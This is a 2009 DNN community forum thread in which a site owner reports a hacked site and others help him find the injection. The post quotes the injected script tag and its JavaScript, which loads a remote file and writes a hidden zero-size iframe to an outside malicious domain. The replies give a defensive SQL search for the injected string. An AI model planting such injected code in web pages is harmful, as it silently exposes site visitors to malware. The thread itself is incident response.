Products

Solutions

Resources

Partners

Community

Blog

About

QA

Ideas Test

New Community Website

Ordinarily, you'd be at the right spot, but we've recently launched a brand new community website... For the community, by the community.

Yay... Take Me to the Community!

Welcome to the DNN Community Forums, your preferred source of online community support for all things related to DNN.
In order to participate you must be a registered DNNizen

HomeHomeOur CommunityOur CommunityGeneral Discuss...General Discuss...Security breachSecurity breach
Previous
 
Next
New Post
4/15/2009 11:44 AM
 

Looks like I had a security breach on my DNN 4.08.04 site.  I noticed that my site was taking longer to load, so I paid attention to the status messages at the bottom of the screen as the site loaded.  I noticed that it was reading information from news.212cafe.com.  By viewing the page source, I saw the following script as the first line on the page (even before the <html> tag):

[code]

<script src=http://news.212cafe.com/images/j.js></script>
[/code]

This javascript file contains the following:

[code]

function Get(){
var Then = new Date()
Then.setTime(Then.getTime() + 24*60*60*1000)
var cookieString = new String(document.cookie)
var cookieHeader = "Cookie1="
var beginPosition = cookieString.indexOf(cookieHeader)
if (beginPosition != -1){
} else
{ document.cookie = "Cookie1=risb;expires="+ Then.toGMTString()
window.status=' ';
document.write("<iframe src=\"http://m.winxyz.com\" width=0 height=0></ifame>");
}
}Get();

[/code]

It looks like it is trying to open an iFrame to a malicious site.

Any ideas on where this script could have been inserted into my site's page?  Would this be a database security issue or master page security issue or ???

Any help on solving and preventing this from happening in the future is greatly appreciated. I have submitted a ticket to our web host to determine if they have had any mass-hacks lately.

 
New Post
4/15/2009 12:59 PM
 

Normally I'd ask you to share a link to your problem page/site but in this case I think I'll avoid any visits to your site until the issue is resolved...  ;)

First, let's assume for the moment that your user membership security is ok (i.e., no one managed to compromise user accounts and give themselves an admin or editor role).  The more likely cause is that someone has instead injected script via a security hole in a module. 

What modules do you use on that DNN instance?  Do you run more than one portal on the instance?  If so, security may have been breached on a different portal.

A good first place to look is any module that allows user input / feedback.  Blog comments, chat, forums, Feedback, etc.
 
To speed up the search for the offending module (assuming script injection), I recommend that you employ a database table search routine to look for a unique piece of the injected code (such as the "212cafe" URL).  Here's one I use a decent bit -- unfortunately it's too much to simply plug into the HOST->SQL option in the DNN UI -- DNN will churn on it a bit and then tell you (incorrectly) that the code is bad.  Instead, you'll need to execute this as a SQL query in your web host's DB admin interface or create and run it as a stored procedure.  Replace "212cafe" with whatever string or integer value you want to search for:
 

declare @SearchStr nvarchar(100)
set @SearchStr = '212cafe'

CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
SET  @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
WHILE @TableName IS NOT NULL
BEGIN
    SET @ColumnName = ''
    SET @TableName =
    ( SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
      FROM INformATION_SCHEMA.TABLES WHERE    TABLE_TYPE = 'BASE TABLE'
      AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
      AND OBJECTPROPERTY(OBJECT_ID(
        QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)),
        'IsMSShipped') = 0)

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
        BEGIN
            SET @ColumnName =
            ( SELECT MIN(QUOTENAME(COLUMN_NAME))
              FROM INformATION_SCHEMA.COLUMNS
              WHERE    TABLE_SCHEMA = PARSENAME(@TableName, 2)
              AND TABLE_NAME = PARSENAME(@TableName, 1)
              AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int')
              AND QUOTENAME(COLUMN_NAME) > @ColumnName)
   
            IF @ColumnName IS NOT NULL
            BEGIN
                INSERT INTO #Results
                EXEC
                ( 'SELECT DISTINCT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630)
                   FROM ' + @TableName + ' (NOLOCK) ' +
                   ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2)
            END
        END   
    END

    SELECT ColumnName, ColumnValue FROM #Results

 


Good luck!
-mamlin


esmamlin atxgeek.me
 
New Post
4/15/2009 1:00 PM
 

Hi CJones,

this may happen if your visitors have the ability to post HTML text (such as blog comments, etc.) without proper filtration.

Best regards,
Dario Rossa

 
New Post
4/15/2009 1:03 PM
 

Dario Rossa wrote

Hi CJones,

this may happen if your visitors have the ability to post HTML text (such as blog comments, etc.) without proper filtration.

Best regards,
Dario Rossa


Heh...normally Dario is beating ME to the punch by one minute...
 

 


esmamlin atxgeek.me
 
New Post
4/15/2009 1:33 PM
 

mamlin wrote

Normally I'd ask you to share a link to your problem page/site but in this case I think I'll avoid any visits to your site until the issue is resolved...  ;)

First, let's assume for the moment that your user membership security is ok (i.e., no one managed to compromise user accounts and give themselves an admin or editor role).  The more likely cause is that someone has instead injected script via a security hole in a module. 

What modules do you use on that DNN instance?  Do you run more than one portal on the instance?  If so, security may have been breached on a different portal.

A good first place to look is any module that allows user input / feedback.  Blog comments, chat, forums, Feedback, etc.
 
To speed up the search for the offending module (assuming script injection), I recommend that you employ a database table search routine to look for a unique piece of the injected code (such as the "212cafe" URL).  Here's one I use a decent bit -- unfortunately it's too much to simply plug into the HOST->SQL option in the DNN UI -- DNN will churn on it a bit and then tell you (incorrectly) that the code is bad.  Instead, you'll need to execute this as a SQL query in your web host's DB admin interface or create and run it as a stored procedure.  Replace "212cafe" with whatever string or integer value you want to search for:
 

declare @SearchStr nvarchar(100)
set @SearchStr = '212cafe'

CREATE TABLE #Results (ColumnName nvarchar(370), ColumnValue nvarchar(3630))
DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110)
SET  @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
WHILE @TableName IS NOT NULL
BEGIN
    SET @ColumnName = ''
    SET @TableName =
    ( SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
      FROM INformATION_SCHEMA.TABLES WHERE    TABLE_TYPE = 'BASE TABLE'
      AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
      AND OBJECTPROPERTY(OBJECT_ID(
        QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)),
        'IsMSShipped') = 0)

        WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
        BEGIN
            SET @ColumnName =
            ( SELECT MIN(QUOTENAME(COLUMN_NAME))
              FROM INformATION_SCHEMA.COLUMNS
              WHERE    TABLE_SCHEMA = PARSENAME(@TableName, 2)
              AND TABLE_NAME = PARSENAME(@TableName, 1)
              AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar', 'int')
              AND QUOTENAME(COLUMN_NAME) > @ColumnName)
   
            IF @ColumnName IS NOT NULL
            BEGIN
                INSERT INTO #Results
                EXEC
                ( 'SELECT DISTINCT ''' + @TableName + '.' + @ColumnName + ''', LEFT(' + @ColumnName + ', 3630)
                   FROM ' + @TableName + ' (NOLOCK) ' +
                   ' WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2)
            END
        END   
    END

    SELECT ColumnName, ColumnValue FROM #Results

 


Good luck!
-mamlin

Thanks for the tip!  I was trying to think of "How the heck am I going to find where this info is stored!?"  I'll try this as soon as the web host has the server back up.  After some Google'ing, it appears that this host has a history of iFrame attacks.  Yay! I still want to make sure they didn't come in through our side of the server, though.

We'll be switching hosts soon.

 
Previous
 
Next
HomeHomeOur CommunityOur CommunityGeneral Discuss...General Discuss...Security breachSecurity breach


These Forums are dedicated to discussion of DNN Platform and Evoq Solutions.

For the benefit of the community and to protect the integrity of the ecosystem, please observe the following posting guidelines:

  1. No Advertising. This includes promotion of commercial and non-commercial products or services which are not directly related to DNN.
  2. No vendor trolling / poaching. If someone posts about a vendor issue, allow the vendor or other customers to respond. Any post that looks like trolling / poaching will be removed.
  3. Discussion or promotion of DNN Platform product releases under a different brand name are strictly prohibited.
  4. No Flaming or Trolling.
  5. No Profanity, Racism, or Prejudice.
  6. Site Moderators have the final word on approving / removing a thread or post or comment.
  7. English language posting only, please.
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out
What is Liquid Content?
Find Out